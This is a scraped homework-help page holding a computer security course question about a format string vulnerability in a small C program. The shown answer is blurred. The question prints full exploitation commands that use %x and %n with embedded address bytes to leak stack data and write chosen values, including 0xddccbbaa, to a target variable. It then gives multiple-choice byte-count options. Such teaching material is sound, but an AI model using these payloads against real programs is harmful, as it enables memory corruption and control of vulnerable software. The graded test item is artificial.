Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

Consider the following program with format string vulnerability: fmt _ vuln.c #include #include #include int main ( int argc, char * argv [ ] )

Consider the following program with format string vulnerability:
fmt_vuln.c
#include
#include
#include
int main(int argc, char *argv[]){
char text[1024];
static int targeted_val =0x5a5a5a5a;
if(argc <2){
printf("Usage: %s
", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf(text);
printf("
");
printf("[*] targeted_val @ 0x%08x =%d 0x%08x
", &targeted_val, targeted_val, targeted_val);
exit(0);
}
We have the following six commands execution results:
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
AAAAff99d2b5.f7c05634.ff99b94c.41414141
[*] targeted_val @ 0x0804c028=15158708100x5a5a5a5a
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x.%08x.%08x.%s
(ff9682b7.f7c05634.ff96784c.ZZZZ
[*] targeted_val @ 0x0804c028=15158708100x5a5a5a5a
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x.%08x.%08x.%n
(ff94a2b7.f7c05634.ff949bfc.
[*] targeted_val @ 0x0804c028=310x0000001f
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%x%x%x%n
(ffa6c2c0f7c05634ffa6a00c
[*] targeted_val @ 0x0804c028=280x0000001c
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%x%x%180x%n
(ffd902bdf7c05634
[*] targeted_val @ 0x0804c028=2000x000000c8
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08JUNK\x29\xc0\x04\x08JUNK\x2a\xc0\x04\x08JUNK\x2b\xc0\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
(JUNK)JUNK*JUNK+ffb7d293f7c05634
ffb7aecc 4b4e554a 4b4e554a 4b4e554a
[*] targeted_val @ 0x0804c028=-5737851740xddccbbaa
Which of the followings is/are true?
Group of answer choices
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x.%08x.%08x.%n
(ff94a2b7.f7c05634.ff949bfc.
[*] targeted_val @ 0x0804c028=310x0000001f
writes 31 to address 0x0804c028.
Similarly,
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x..%08x..%08x..%n
writes 34 to address 0x0804c028.
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x.%08x.%08x.%n
(ff94a2b7.f7c05634.ff949bfc.
[*] targeted_val @ 0x0804c028=310x0000001f
writes 31 to address 0x0804c028.
Similarly,
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x..%08x..%08x..%n
writes 32 to address 0x0804c028.
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%x%x%180x%n
(ffd902bdf7c05634
[*] targeted_val @ 0x0804c028=2000x000000c8
writes 200 to address 0x0804c028.
Similarly,
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%x%x%80x%n
writes 100 to address 0x0804c028.
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x.%08x.%08x.%n
(ff94a2b7.f7c05634.ff949bfc.
[*] targeted_val @ 0x0804c028=310x0000001f
writes 31 to address 0x0804c028.
Similarly,
$ ./fmt_vuln $(printf "\x28\xc0\x04\x08")%08x..%08x..%08x..%n
writes 36 to address 0x0804c028.

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image

Step: 3

blur-text-image

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Programming The Perl DBI Database Programming With Perl

Authors: Tim Bunce, Alligator Descartes

1st Edition

1565926994, 978-1565926998

More Books

Students also viewed these Databases questions

Question

1. What pattern or organizational structure does this letter use?

Answered: 1 week ago

Question

3. What are potential solutions?

Answered: 1 week ago

Question

Explain the function and purpose of the Job Level Table.

Answered: 1 week ago